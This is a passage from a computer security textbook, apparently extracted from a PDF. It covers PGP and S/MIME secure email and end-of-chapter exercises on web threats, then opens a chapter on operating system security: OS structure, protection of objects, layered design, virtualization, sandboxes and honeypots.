A team of researchers looked into whether user training and education are effective against spear phishing attacks. Deanna Caputo and colleagues [CAP14] ran an experi- ment in which they sent three spear-phishing emails, several months apart, to approxi- mately 1500 employees of a large company. Those who took the spear-phishing bait and clicked the included link were soon sent anti-phishing security educational materials (ostensibly as part of the company’s ongoing security education program). The study seemed to show that the training had little effect on employees’ future behavior: people who clicked the link in the first email were more likely to click in the second and third; people who did not click were less likely. They also found that most recipients were unlikely to have read the full security training materials sent them, based on the time the training pages were open on the users’ screens.

Next we introduce two products that protect email in a different way: We know not to trust the content of email from a malicious or unknown sender, and we know source email addresses can be spoofed so any message can appear to come from a trusted source. We need a way to ensure the authenticity of email from supposedly reliable sources. Solving that problem provides a bonus: Not only are we assured of the authen- ticity and integrity of the content of the email, but we can also ensure that its contents are not readily available anywhere along the path between sender and recipient. Cryp- tography can provide these protections.


PGP stands for Pretty Good Privacy. It was invented by Phil Zimmerman in 1991. Orig- inally a free package, it became a commercial product after being bought by Network Associates in 1996. A freeware version is still available. PGP is widely available, both in commercial versions and freeware.

The problem we have frequently found with using cryptography is generating a common cryptographic key both sender and receiver can have, but nobody else. PGP addresses the key distribution problem with what is called a “ring of trust” or a user’s “keyring.” One user directly gives a public key to another, or the second user fetches the first’s public key from a server. Some people include their PGP public keys at the bot- tom of email messages. And one person can give a second person’s key to a third (and a fourth, and so on). Thus, the key association problem becomes one of caveat emptor (let the buyer beware): If I trust you, I may also trust the keys you give me for other people. The model breaks down intellectually when you give me all the keys you received from people, who in turn gave you all the keys they got from still other people, who gave them all their keys, and so forth.

You sign each key you give me. The keys you give me may also have been signed by other people. I decide to trust the veracity of a key-and-identity combination, based on who signed the key. PGP does not mandate a policy for establishing trust. Rather, each user is free to decide how much to trust each key received.

The PGP processing performs some or all of the following actions, depending on whether confidentiality, integrity, authenticity, or some combination of these is selected:

• Create a random session key for a symmetric algorithm.

• Encrypt the message, using the session key (for message confidentiality).

Section 4.5 Conclusion 277

• Encrypt the session key under the recipient’s public key.

• Generate a message digest or hash of the message; sign the hash by encrypting it with the sender’s private key (for message integrity and authenticity).

• Attach the encrypted session key to the encrypted message and digest.

• Transmit the message to the recipient.

The recipient reverses these steps to retrieve and validate the message content.


An Internet standard governs how email is sent and received. The general MIME speci- fication defines the format and handling of email attachments. S/MIME (Secure Multi- purpose Internet Mail Extensions) is the Internet standard for secure email attachments.

S/MIME is very much like PGP and its predecessors, PEM (Privacy-Enhanced Mail) and RIPEM. The Internet standards documents defining S/MIME (version 3) are described in [HOU99] and [RAM99] S/MIME has been adopted in commercial email packages, such as Eudora and Microsoft Outlook.

The principal difference between S/MIME and PGP is the method of key exchange. Basic PGP depends on each user’s exchanging keys with all potential recipients and establishing a ring of trusted recipients; it also requires establishing a degree of trust in the authenticity of the keys for those recipients. S/MIME uses hierarchically vali- dated certificates, usually represented in X.509 format, for key exchange. Thus, with S/MIME, the sender and recipient do not need to have exchanged keys in advance as long as they have a common certifier they both trust.

S/MIME works with a variety of cryptographic algorithms, such as DES, AES, and RC2 for symmetric encryption.

S/MIME performs security transformations very similar to those for PGP. PGP was originally designed for plaintext messages, but S/MIME handles (secures) all sorts of attachments, such as data files (for example, spreadsheets, graphics, presentations, movies, and sound). Because it is integrated into many commercial email packages, S/MIME is likely to dominate the secure email market.


The Internet is a dangerous place. As we have explained in this chapter, the path from a user’s eyes and fingers to a remote site seems to be direct but is in fact a chain of vulnerable components. Some of those parts belong to the network, and we consider security issues in the network itself in Chapter 6. But other vulnerabilities lie within the user’s area, in the browser, in applications, and in the user’s own actions and reactions. To improve this situation, either users have to become more security conscious or the technology more secure. As we have argued in this chapter, for a variety of reasons, nei- ther of those improvements is likely to occur. Some users become more wary, but at the same time the user population continually grows with a wave of young, new users who do not have the skepticism of more experienced users. And technology always seems to respond to the market demands for functionality—the “cool” factor—not security. You

278 Chapter 4 The Web—User Side

as computer professionals with a healthy understanding of security threats and vulner- abilities, need to be the voices of reason arguing for more security.

In the next chapter we delve more deeply into the computing environment and explore how the operating system participates in providing security.


1. The SilentBanker man-in-the-browser attack depends on malicious code that is integrated into the browser. These browser helpers are essentially unlimited in what they can do. Sug- gest a design by which such helpers are more rigorously controlled. Does your approach limit the usefulness of such helpers?

2. A cryptographic nonce is important for confirming that a party is active and fully participat- ing in a protocol exchange. One reason attackers can succeed with many web-page attacks is that it is relatively easy to craft authentic-looking pages that spoof actual sites. Suggest a technique by which a user can be assured that a page is both live and authentic from a particular site. That is, design a mark, data interchange, or some other device that shows the authenticity of a web page.

3. Part of the problem of malicious code, including programs that get in the middle of legiti- mate exchanges, is that it is difficult for a user to know what a piece of code really does. For example, if you voluntarily install a toolbar, you expect it to speed your search or fulfill some other overt purpose; you do not expect it to intercept your password. Outline an approach by which a piece of code would assert its function and data items it needed to access. Would a program such as a browser be able to enforce those access limits? Why or why not?

4. A CAPTCHA puzzle is one way to enforce that certain actions need to be carried out by a real person. However, CAPTCHAs are visual, depending not just on a person’s seeing the image but also on a person’s being able to recognize distorted letters and numbers. Suggest another method usable by those with limited vision.

5. Are computer-to-computer authentications subject to the weakness of replay? Why or why not?

6. A real attack involved a network of air defense controllers' computer screens. In that attack, false images were fed to the screens making it appear that the skies were empty when an actual air attack was underway. Sketch a block diagram of inputs, processing, and outputs designers of such a system might have used. Show in your diagram where there are single points of failure. In some situations, we can prevent single-point failures by duplicating a component that might fail. Would such a strategy work in this case? Why or why not? Another counter to single failure points is to triangulate, to obtain different kinds of data from two or more sources and use each data piece to validate the others. Suggest how trian- gulation could have applied in this case.

7. List factors that would cause you to be more or less convinced that a particular email mes- sage was authentic. Which of the more convincing factors from your list would have been present in the example of the South Korean diplomatic secrets?

8. State an example of how framing could be used to trick a victim.

9. Explain how a forger can create an authentic-looking web site for a commercial establishment.

Section 4.6 Exercises 279

10. Explain why spam senders frequently change from one email address and one domain to another. Explain why changing the address does not prevent their victims from responding to their messages.

11. Why does a web server need to know the address, browser type, and cookies for a requesting client?

12. Suggest a technique by which a browser could detect and block clickjacking attacks.

13. The issue of cross-site scripting is not just that scripts execute, for they do in many sites. The issue is that the script is included in the URL communicated between sites, and therefore the user or a malicious process can rewrite the URL before it goes to its intended destination. Suggest a way by which scripts can be communicated more securely.

14. What security principles are violated in the Greek cell phone interception example?

15. Is the cost, processing time, or complexity of cryptography a good justification for not using it? Why or why not?

16. What attack is a financial institution seeking to counter by asking its customers to confirm that they see their expected security picture (a hot red sports car or a plate of cookies) before entering sensitive data?


In this chapter:

• Object protection: virtualization, sharing • Memory protection: registers, paging, segmentation • Design qualities: modularity, layering, kernelization • Trusted systems: TCB, reference monitor, trusted path,

object reuse, evaluation criteria • Rootkits: power, design

I n this chapter we explore the role of the operating system in security. Although operating systems are crucial for implementing separation and access control, they are not invulnerable, and therefore compromise of an operating system can lead to

security failure. Furthermore, users’ objects can be commingled with code and data for applications and support routines, and operating systems are limited in their ability to separate and protect these resources.

We begin this chapter with a brief overview, which for many readers will be a review, of operating system design. We continue by examining aspects of operating system design that enhance security. Finally, we consider rootkits, the most serious compro- mise of an operating system; with such an exploit the attacker undermines the entire operating system and thus all the security protections it is expected to provide.


Many attacks are silent and invisible. What good is an attack if the victim can see and perhaps counter it? As we described in Chapter 3, viruses, Trojan horses, and similar forms of malicious code may masquerade as harmless programs or attach themselves to other legitimate programs. Nevertheless, the malicious code files are stored somewhere, usually on disk or in memory, and their structure can be detected with programs that recognize patterns or behavior. A powerful defense against such malicious code is pre- vention to block the malware before it can be stored in memory or on disk.

5 Operating Systems

Section 5.1 Security in Operating Systems 281

The operating system is the first line of defense against all sorts of unwanted behav- ior. It protects one user from another, ensures that critical areas of memory or storage are not overwritten by unauthorized processes, performs identification and authenti- cation of people and remote operations, and ensures fair sharing of critical hardware resources. As the powerful traffic cop of a computing system it is also a tempting target for attack because the prize for successfully compro- mising the operating system is com- plete control over the machine and all its components.

When the operating system initializes at system boot time, it initiates tasks in an orderly sequence, such as, first, primitive functions and device drivers, then process controllers, followed by file and memory management routines and finally, the user interface. To establish security, early tasks establish a firm defense to constrain later tasks. Primitive operating system functions, such as interprocess communication and basic input and output, must precede more complex structures such as files, directo- ries, and memory segments, in part because these primitive functions are necessary to implement the latter constructs, and also because basic communication is necessary so that different operating system functions can communicate with each other. Antivirus applications are usually initiated late because they are add-ons to the operating system; still, antivirus code must be in control before the operating system allows access to new objects that might contain viruses. Clearly, prevention software can protect only if it is active before the malicious code.

But what if the malware embeds itself in the operating system, such that it is active before operating system components that might detect or block it? Or what if the malware can circumvent or take over other parts of the operating system? This sequencing leads to an important vulnerability: Gaining control before the protector means that the protector’s power is limited. In that case, the attacker has near-complete control of the system: The malicious code is undetectable and unstoppable. Because the malware operates with the privileges of the root of the operating system, it is called a rootkit. Although embedding a rootkit within the operating system is difficult, a successful effort is certainly worth it. We examine rootkits later in this chapter. Before we can study that class of malware, we must first consider the components from which operating systems are composed.

Background: Operating System Structure

An operating system is an executive or supervisor for a piece of computing machinery. Operating systems are not just for conventional computers. Some form of operating system can be found on any of the following objects:

• a dedicated device such as a home thermostat or a heart pacemaker

• an automobile (especially the engine performance sensors and the automated control functions such as antilock brakes); similarly, the avionics components of an airplane or the control system of a streetcar or mass transit system

The operating system is the fundamental controller of all system resources—which makes it a primary target of attack, as well.

282 Chapter 5 Operating Systems

• a smartphone, tablet, or other web appliance

• a network appliance, such as a firewall or intrusion detection and prevention system (all covered in Chapter 6)

• a controller for a bank of web servers

• a (computer) network traffic management device

In addition to this list, of course, computers—from microcomputers to laptops to huge mainframes—have operating systems. The nature of an operating system varies accord- ing to the complexity of the device on which it is installed, the degree of control it exer- cises, and the amount of interaction it supports, both with humans and other devices. Thus, there is no one simple model of an operating system, and security functions and features vary considerably.

From a security standpoint, we are most interested in an operating system’s control of resources: which users are allowed which accesses to which objects, as we explore in the next section.

Security Features of Ordinary Operating Systems

A multiprogramming operating system performs several functions that relate to secu- rity. To see how, examine Figure 5-1, which illustrates how an operating system inter- acts with users, provides services, and allocates resources.

We can see that the system addresses several particular functions that involve com- puter security:

• Enforced sharing. Resources should be made available to users as appropri- ate. Sharing brings about the need to guarantee integrity and consistency. Table lookup, combined with integrity controls such as monitors or transaction proces- sors, is often used to support controlled sharing.

• Interprocess communication and synchronization. Executing processes some- times need to communicate with other processes or to synchronize their accesses to shared resources. Operating systems provide these services by acting as a bridge between processes, responding to process requests for asynchronous communication with other processes or synchronization. Interprocess commu- nication is mediated by access control tables.

• Protection of critical operating system data. The operating system must main- tain data by which it can enforce security. Obviously, if these data are not pro- tected against unauthorized access (read, modify, and delete), the operating system cannot provide enforcement. Various techniques (including encryp- tion, hardware control, and isolation) support protection of operating system security data.

• Guaranteed fair service. All users expect CPU usage and other service to be provided so that no user is indefinitely starved from receiving service. Hardware clocks combine with scheduling disciplines to provide fairness. Hardware facili- ties and data tables combine to provide control.

Section 5.1 Security in Operating Systems 283

• Interface to hardware. All users access hardware functionality. Fair access and controlled sharing are hallmarks of multitask operating systems (those run- ning more than one task concurrently), but a more elementary need is that users require access to devices, communications lines, hardware clocks, and proces- sors. Few users access these hardware resources directly, but all users employ such things through programs and utility functions. Hardware interface used to be more tightly bound into an operating system’s design; now, however, oper- ating systems are designed to run on a range of hardware platforms, both to maximize the size of the potential market and to position the operating system for hardware design enhancements.

• User authentication. The operating system must identify each user who requests access and must ascertain that the user is actually who he or she purports to be. The most common authentication mechanism is password comparison.

• Memory protection. Each user’s program must run in a portion of memory pro- tected against unauthorized accesses. The protection will certainly prevent out- siders’ accesses, and it may also control a user’s own access to restricted parts of the program space. Differential security, such as read, write, and execute, may

Operating System


I/O Devices


User Interface

Resource Allocation



Program Libraries



Control, Deadlock Management,




FIGURE 5-1 Operating System Functions

284 Chapter 5 Operating Systems

be applied to parts of a user’s memory space. Memory protection is usually per- formed by hardware mechanisms, such as paging or segmentation.

• File and I/O device access control. The operating system must protect user and system files from access by unauthorized users. Similarly, I/O device use must be protected. Data protection is usually achieved by table lookup, as with an access control matrix.

• Allocation and access control to general objects. Users need general objects, such as constructs to permit concurrency and allow synchronization. However, access to these objects must be controlled so that one user does not have a nega- tive effect on other users. Again, table lookup is the common means by which this protection is provided.

You can probably see security implications in many of these primitive operating systems functions. Operating systems show several faces: traffic director, police agent, preschool teacher, umpire, timekeeper, clerk, and housekeeper, to name a few. These fundamental, primitive functions of an operating system are called kernel functions, because they are basic to enforcing security as well as the other higher-level operations an operating system provides. Indeed, the operating system kernel, which we describe shortly, is the basic block that supports all higher-level operating system functions.

Operating systems did not sprout fully formed with the rich feature set we know today. Instead, they evolved from simple support utilities, as we explain next. The his- tory of operating systems is helpful to explain why and how operating systems acquired the security functionality they have today.

A Bit of History

To understand operating systems and their security, it can help to know how modern operating systems evolved. Unlike the evolutions of many other things, operating sys- tems did not progress in a straight line from simplest to most complex but instead had a more jagged progression.

Single Users

Once upon a time, there were no operating systems: Users entered their programs directly into the machine in binary by means of switches. In many cases, program entry was done by physical manipulation of a toggle switch; in other cases, the entry was performed with a more complex electronic method, by means of an input device such as a keyboard or a punched card or paper tape reader. Because each user had exclusive use of the computing system, users were required to schedule blocks of time for running the machine. These users were responsible for loading their own libraries of support routines—assemblers, compilers, shared subprograms—and “cleaning up” after use by removing any sensitive code or data.

For the most part there was only one thread of execution. A user loaded a program and any utility support functions, ran that one program, and waited for it to halt at the conclusion of its computation. The only security issue was physical protection of the computer, its programs, and data.

Section 5.1 Security in Operating Systems 285

The first operating systems were simple utilities, called executives, designed to assist individual programmers and to smooth the transition from one user to another. The early executives provided linkers and loaders for relocation, easy access to compilers and assemblers, and automatic loading of subprograms from libraries. The executives handled the tedious aspects of programmer support, focusing on a single programmer during execution.

Multiprogramming and Shared Use

Factors such as faster processors, increased uses and demand, larger capacity, and higher cost led to shared computing. The time for a single user to set up a computer, load a program, and unload or shut down at the end was an inefficient waste of expen- sive machines and labor.

Operating systems took on a much broader role (and a different name) as the notion of multiprogramming was implemented. Realizing that two users could interleave access to the resources of a single computing system, researchers developed con- cepts such as scheduling, sharing, and concurrent use. Multiprogrammed operat- ing systems, also known as monitors, oversaw each program’s execution. Monitors took an active role, whereas executives were passive. That is, an executive stayed in the background, waiting to be called into service by a requesting user. But a monitor actively asserted control of the computing system and gave resources to the user only when the request was consistent with general good use of the system. Similarly, the executive waited for a request and provided service on demand; the monitor maintained control over all resources, permitting or denying all computing and loaning resources to users as they needed them.

Multiprogramming brought another important change to computing. When a single person was using a system, the only force to be protected against was that user. Making an error may have made the user feel foolish, but that user could not adversely affect the computation of any other user. However, multiple concurrent users introduced more complexity and risk. User A might rightly be angry if User B’s programs or data had a negative effect on A’s program’s execution. Thus, protecting one user’s programs and data from other users’ programs became an important issue in multiprogrammed operat- ing systems.

Paradoxically, the next major shift in operating system capabilities involved not growth and complexity but shrinkage and simplicity. The 1980s saw the changeover from mul- tiuser mainframes to personal computers: one computer for one person. With that shift, operating system design went backwards by two decades, forsaking many aspects of controlled sharing and other security features. Those concepts were not lost, however, as the same notions ultimately reappeared, not between two users but between independent activities for the single user.

The transition of operating system from executive to monitor was also a shift from supporting to controlling the user.

Controlled sharing also implied security, much of which was lost when the personal computer became dominant.

286 Chapter 5 Operating Systems


A user runs a program that generally consists of one process.1 A process is assigned system resources: files, access to devices and communications, memory, and execution time. The resources of a process are called its domain. The operating system switches control back and forth between processes, allocating, deallocating, and reallocating resources each time a different process is activated. As you can well imagine, significant bookkeeping accompanies each process switch.

A process consists of one or more threads, separate streams of execution. A thread executes in the same domain as all other threads of the process. That is, threads of one process share a global memory space, files, and so forth. Because resources are shared, the operating system performs far less overhead in switching from one thread to another. Thus, the operating system may change rapidly from one thread to another, giving an effect similar to simultaneous, par- allel execution. A thread executes serially (that is, from beginning to end), although execution of one thread may be suspended when a thread of higher priority becomes ready to execute.

A server, such as a print server, spawns a new thread for each work package to do. Thus, one print job may be in progress on the printer when the print server receives another print request (perhaps for another user). The server creates a new thread for this second request; the thread prepares the print package to go to the printer and waits for the printer to become ready. In this way, each print server thread is responsible for one print activity, and these separate threads execute the same code to prepare, submit, and monitor one print job.

Finally, a thread may spawn one or more tasks, which is the smallest executable unit of code. Tasks can be interrupted or they can voluntarily relinquish control when they must wait for completion of a parallel task. If there is more than one processor, separate tasks can execute on individual processors, thus giving true parallelism.

Protected Objects

The rise of multiprogramming meant that several aspects of a computing system required protection:

• memory

• sharable I/O devices, such as disks

1. Alas, terminology for programs, processes, threads, and tasks is not standardized. The concepts of process and thread presented here are rather widely accepted because they are directly implemented in modern languages, such as C#, and modern operating systems, such as Linux and Windows .NET. But some systems use the term task where others use process. Fortunately, inconsistent terminology is not a serious problem once you grasp how a particular system refers to concepts.

Processes have different resources, implying controlled access; threads share resources with less access control.

Section 5.1 Security in Operating Systems 287

• serially reusable I/O devices, such as printers and tape drives

• sharable programs and subprocedures

• networks

• sharable data

As it assumed responsibility for controlled sharing, the operating system had to pro- tect these objects. In the following sections, we look at some of the mechanisms with which operating systems have enforced these objects’ protection. Many operating sys- tem protection mechanisms have been supported by hardware.

We want to provide sharing for some of those objects. For example, two users with different security levels may want to invoke the same search algorithm or function call. We would like the users to be able to share the algorithms and functions without com- promising their individual security needs.

When we think about data, we realize that access can be controlled at various lev- els: the bit, the byte, the element or word, the field, the record, the file, or the volume. Thus, the granularity of control concerns us. The larger the level of object controlled, the easier it is to implement access control. However, sometimes the operating system must allow access to more than the user needs. For example, with large objects, a user needing access only to part of an object (such as a single record in a file) must be given access to the entire object (the whole file).

Operating System Design to Protect Objects

Operating systems are not monolithic but are instead composed of many individual rou- tines. A well-structured operating system also implements several levels of function and protection, from critical to cosmetic. This ordering is fine conceptually, but in practice, specific functions span these layers. One way to visualize an operating system is in lay- ers, as shown in Figure 5-2. This figure shows functions arranged from most critical (at the bottom) to least critical (at the top). When we say “critical,” we mean important to security. So, in this figure, the functions are grouped in three categories: security kernel (to enforce security), operating system kernel (to allocate primitive resources such as time or access to hardware devices), and other operating system functions (to imple- ment the user’s interface to hardware). Above the operating system come system utility functions and then the user’s applications. In this figure the layering is vertical; other designers think of layering as concentric circles. The critical functions of controlling hardware and enforcing security are said to be in lower or inner layers, and the less criti- cal functions in the upper or outer layers.

Consider password authentication as an example of a security-relevant operating sys- tem activity. In fact, that activity includes several different operations, including (in no particular order) displaying the box in which the user enters a password, receiving pass- word characters but echoing a character such as *, comparing what the user enters to the stored password, checking that a user’s identity has been authenticated, or modifying a user’s password in the system table. Changing the system password table is certainly more critical to security than displaying a box for password entry, because changing the

288 Chapter 5 Operating Systems

table could allow an unauthorized user access but displaying the box is merely an inter- face task. The functions listed would occur at different levels of the operating system. Thus, the user authentication functions are implemented in several places, as shown in Figure 5-3.

A modern operating system has many different modules, as depicted in Figure 5-4. Not all this code comes from one source. Hardware device drivers may come from the device manufacturer or a third party, and users can install add-ons to implement a differ- ent file system or user interface, for example. As you can guess, replacing the file system or user interface requires integration with several levels of the operating system. System tools, such as antivirus code, are said to “hook” or be incorporated into the operating system; those tools are loaded along with the operating system so as to be active by the time user programs execute. Even though they come from different sources, all these modules, drivers, and add-ons may be collectively thought of as the operating system because they perform critical functions and run with enhanced privileges.

From a security standpoint these modules come from different sources, not all trust- worthy, and must all integrate successfully. Operating system designers and testers have a nightmarish job to ensure correct functioning with all combinations of hundreds of different add-ons from different sources. All these pieces are maintained separately, so any module can change at any time, but such changes risk incompatibility.


Security Functions

Synchronization, Allocation

Scheduling, Sharing, Memory Management

File Systems, Device Allocation

Utility Functions

Compilers, Data base Managers

User Processes

Subprocesses of User Processes

Security Kernel

Operating System Kernel

Operating System

FIGURE 5-2 Layered Operating System

Section 5.1 Security in Operating Systems 289

User Authentication Module

User Interface

User ID Lookup

Authentication Data Comparison

Authentication Data Updates

Most Trusted Code

Least Trusted Code

FIGURE 5-3 Authentication Functions Spanning Layers in an Operating System

Users Users Users Users Users

User Mode

User Interface

System Services Interface

Privileged Mode

File A/V Net Backup ShellObjectSec

I/O Synch Memory Comm SecTime

Primitive Services

Hardware Interface and Abstraction

Microkernel Kernel Mode Drivers


FIGURE 5-4 Operating System Modules

290 Chapter 5 Operating Systems

Operating System Design for Self-Protection

An operating system must protect itself against compromise to be able to enforce secu- rity. Think of the children’s game “king of the hill.” One player, the king, stands on top of a mound while the other players scramble up the mound and try to dislodge the king. The king has the natural advantage of being at the top and therefore able to see anyone coming, plus gravity and height work in the king’s favor. If someone does force the king off the mound, that person becomes the new king and must defend against attack- ers. In a computing system, the operating system arrives first and is well positioned by privilege and direct hardware interaction to protect against code that would usurp the operating system’s power.

The king of the hill game is simple because there is only one king (at a time). Imag- ine the chaos if several kings had to repel invaders and also protect against attacks from other kings. One king might even try to dig the mound out from under another king, so attacks on a king could truly come from all directions. Knowing whom to trust and to what degree would become challenges in a multiple-king game. (This political situation can deteriorate into anarchy, which is not good for nations or computing systems.)

The operating system is in a similar situation: It must protect itself not just from errant or malicious user programs but also from harm from incorporated modules, drivers, and add-ons, and with limited knowledge of which ones to trust and for what capabilities. Sidebar 5-1 describes the additional difficulty of an operating system’s needing to run on different kinds of hardware platforms.

The operating system must protect itself in order to protect its users and resources.

SIDEBAR 5-1 Hardware-Enforced Protection

From the 1960s to the 1980s, vendors produced both hardware and the software to run on it. The major mainframe operating systems—such as IBM’s MVS, Digital Equipment’s VAX, and Burroughs’s and GE’s operating systems, as well as research systems such as KSOS, PSOS, KVM, Multics, and SCOMP—were designed to run on one family of hardware. The VAX family, for example, used a hardware design that implemented four distinct protection levels: Two were reserved for the operating system, a third for system utilities, and the last went to users’ applications. This structure put essentially three distinct walls around the most critical functions, including those that implemented security. Anything that allowed the user to compro- mise the wall between user state and utility state still did not give the user access to the most sensitive protection features. A BiiN operating system from the late 1980s offered an amazing 64,000 different levels of protection (or separation) enforced by the hardware.

Two factors changed this situation. First, the U.S. government sued IBM in 1969, claiming that IBM had exercised unlawful monopolistic prac- tices. As a consequence, during the late 1970s and 1980s IBM made its

Section 5.1 Security in Operating Systems 291

But, as we depict in the previous figures, the operating system is not a monolith, nor is it plopped straight into memory as one object. An operating system is loaded in stages, as shown in Figure 5-5. The process starts with basic I/O support for access to the boot device, the hardware device from which the next stages are loaded. Next the operating system loads something called a bootstrap loader, software to fetch and install the next pieces of the operating system, pulling itself in by its bootstraps, hence the name. The loader instantiates a primitive kernel, which builds support for low-level functions of the operating system, such as support for synchronization, interprocess communication, access control and security, and process dispatching. Those functions in turn help develop advanced functions, such as a file system, directory structure, and third-party add-ons to the operating system. At the end, support for users, such as a graphical user interface, is activated.

The complexity of timing, coordination, and hand-offs in operating system design and activation is enormous. Further complicating this situation is the fact that operating systems and add-ons change all the time. A flaw in one module causes its replacement, a new way to implement a function leads to new code, and support for different devices requires updated software. Compatibility and consistency are especially important for operating system functions.

Next, we consider some of the tools and techniques that operating systems use to enforce protection.

hardware available to run with other vendors’ operating systems (thereby opening its specifications to competitors). This relaxation encouraged more openness in operating system selection: Users were finally able to buy hardware from one manufacturer and go elsewhere for some or all of the operating system. Second, the Unix operating system, begun in the early 1970s, was designed to be largely independent of the hardware on which it ran. A small kernel had to be recoded for each different kind of hardware platform, but the bulk of the operating system, running on top of that kernel, could be ported without change.

These two situations together meant that the operating system could no longer depend on hardware support for all its critical functionality. Some machines might have a particular nature of protection that other hardware lacked. So, although an operating system might still be structured to reach several states, the underlying hardware might be able to enforce separa- tion between only two of those states, with the remainder being enforced in software.

Today three of the most prevalent families of operating systems—the Windows series, Unix, and Linux—run on many different kinds of hard- ware. (Only Apple’s Mac OS is strongly integrated with its hardware base.) The default expectation is one level of hardware-enforced separation (two states). This situation means that an attacker is only one step away from complete system compromise through a “get_root” exploit.

292 Chapter 5 Operating Systems

Operating System Tools to Implement Security Functions

In this section we consider how an operating system actually implements the security functions for general objects of unspecified types, such as files, devices, or lists, memory objects, databases, or sharable tables. To make the explanations easier to understand, we sometimes use an example of a specific object, such as a file. Note, however, that a general mechanism can be used to protect any type of object for which access must be limited.

Remember the basic access control paradigm articulated by Scott Graham and Peter Denning [GRA72] and explained in Chapter 2: A subject is permitted to access an object in a particular mode, and only such authorized accesses are allowed. In Chap- ter 2 we presented several access control techniques: the access control list (ACL), the privilege list, and capabilities. Operating systems implement both the underlying tables supporting access control and the mechanisms that check for acceptable uses.

Another important operating system function related to the access control function is audit: a log of which subject accessed which object when and in what manner. Auditing is a tool for reacting after a security breach, not for preventing one. If critical informa- tion is leaked, an audit log may help to determine exactly what information has been compromised and perhaps by whom and when. Such knowledge can help limit the damage of the breach and also help prevent future incidents by illuminating what went wrong this time.

An operating system cannot log every action because of the volume of such data. The act of writing to the audit record is also an action, which would generate another

FIGURE 5-5 Operating System Loaded in Stages


Bootstrap Loader

Primitive Kernel

Primitive Functions

Advanced Functions



Audit logs show what happened in an incident; analysis of logs can guide prevention of future successful strikes.

Section 5.1 Security in Operating Systems 293

record, leading to an infinite chain of records from just the first access. But even if we put aside the problem of auditing the audit, little purpose is served by recording every time a memory location is changed or a file directory is searched. Furthermore, the audit trail is useful only if it is analyzed. Too much data impedes timely and critical analysis.


Another important operating system security technique is virtualization, providing the appearance of one set of resources by using different resources. If you present a plate of cookies to a group of children, the cookies will likely all disappear. If you hide the cookies and put them out a few at a time you limit the children’s access. Operating sys- tems can do the same thing.

Virtual Machine Suppose one set of users, call it the A set, is to be allowed to access only A data, and different users, the B set, can access only B data. We can implement this separation easily and reliably with two unconnected machines. But for performance, economic, or efficiency reasons, that approach may not be desirable. If the A and B sets overlap, strict separation is impossible.

Another approach is virtualization, in which the operating system presents each user with just the resources that class of user should see. To an A user, the machine, called a virtual machine, contains only the A resources. It could seem to the A user as if there is a disk drive, for example, with only the A data. The A user is unable to get to—or even know of the exis- tence of—B resources, because the A user has no way to formulate a command that would expose those resources, just as if they were on a separate machine.

Virtualization has advantages other than for security. With virtual machines, an oper- ating system can simulate the effect of one device by using another. So, for example, if an installation decides to replace local disk devices with cloud-based storage, neither the users nor their programs need make any change; the operating system virtualizes the disk drives by covertly modifying each disk access command so the new commands retrieve and pass along the right data. You execute the command meaning “give me the next byte in this file.” But the operating system has to determine where the file is stored physically on a disk and convert the command to read from sector s block b byte y�1. Unless byte y was the end of a block, in which case the next byte may come from a completely different disk location. Or the command might convert to cloud space c file f byte z. You are oblivious to such transformations because the operating system shields you from such detail.

Hypervisor A hypervisor, or virtual machine monitor, is the software that implements a virtual machine. It receives all user access requests, directly passes along those that apply to

Virtualization: presenting a user the appearance of a system with only the resources the user is entitled to use

294 Chapter 5 Operating Systems

real resources the user is allowed to access, and redirects other requests to the virtual- ized resources.

Virtualization can apply to operating systems as well as to other resources. Thus, for example, one virtual machine could run the operating system of an earlier, outdated machine. Instead of maintaining compatibility with old operating systems, developers would like people to transition to a new system. However, installations with a large investment in the old system might prefer to make the transition gradually; to be sure the new system works, system managers may choose to run both old and new systems in parallel, so that if the new system fails for any reason, the old system provides unin- terrupted use. In fact, for a large enough investment, some installations might prefer to never switch. With a hypervisor to run the old system, all legacy applications and systems work properly on the new system.

A hypervisor can also support two or more operating systems simultaneously. Sup- pose you are developing an operating system for a new hardware platform; the hardware will not be ready for some time, but when it is available, at the same time you want to have an operating system that can run on it. Alas, you have no machine on which to develop and test your new system. The solution is a virtual machine monitor that simulates the entire effect of the new hardware. It receives system calls from your new operating system and responds just as would the real hardware. Your operating system cannot detect that it is running in a software-controlled environment.

This controlled environment has obvious security advantages: Consider a law firm working on both defense and prosecution of the same case. To install two separate com- puting networks and computing systems for the two teams is infeasible, especially con- sidering that the teams could legitimately share common resources (access to a library or use of common billing and scheduling functions, for example). Two virtual machines with both separation and overlap support these two sides effectively and securely.

The original justification for virtual machine monitors—shared use of large, expen- sive mainframe computers—has been diminished with the rise of smaller, cheaper servers and personal computers. However, virtualization has become very helpful for developing support for more specialized machine clusters, such as massively parallel processors. These powerful niche machines are relatively scarce, so there is little moti- vation to write operating systems that can take advantage of their hardware. But hyper- visors can support use of conventional operating systems and applications in a parallel environment.

A team of IBM researchers [CHR09] has investigated how virtualization affects the problem of determining the integrity of code loaded as part of an operating system. The researchers showed that the problem is closely related to the problem of determining the integrity of any piece of code, for example, something downloaded from a web site.

Sandbox A concept similar to virtualiza- tion is the notion of a sandbox. As its name implies, a sandbox is a protected environment in which a program can run and not endanger anything else on the system.

Sandbox: an environment from which a process can have only limited, controlled impact on outside resources

Section 5.1 Security in Operating Systems 295

The original design of the Java system was based on the sandbox concept, skillfully led by Li Gong [GON97]. The designers of Java intended the system to run code, called applets, downloaded from untrusted sources such as the Internet. Java trusts locally derived code with full access to sensitive system resources (such as files). It does not, however, trust downloaded remote code; for that code Java provides a sandbox, limited resources that cannot cause negative effects outside the sandbox. The idea behind this design was that web sites could have code execute remotely (on local machines) to dis- play complex content on web browsers.

Java compilers and a tool called a bytecode verifier ensure that the system executes only well-formed Java commands. A class loader utility is part of the virtual machine monitor to constrain untrusted applets to the safe sandbox space. Finally, the Java Vir- tual Machine serves as a reference monitor to mediate all access requests. The Java runtime environment is a kind of virtual machine that presents untrusted applets with an unescapable bounded subset of system resources.

Unfortunately, the original Java design proved too restrictive [GON09]; people wanted applets to be able to access some resource outside the sandbox. Opening the sandbox became a weak spot, as you can well appreciate. A subsequent release of the Java system allowed signed applets to have access to most other system resources, which became a potential—and soon actual—security vulnerability. Still, the original concept showed the security strength of a sandbox as a virtual machine.

Honeypot A final example of a virtual machine for security is the honeypot. A honeypot is a faux environment intended to lure an attacker. Usually employed in a network, a honeypot shows a limited (safe) set of resources for the attacker; meanwhile, administrators monitor the attacker’s activities in real time to learn more about the attacker’s objectives, tools, techniques, and weaknesses, and then use this knowl- edge to defend systems effectively.

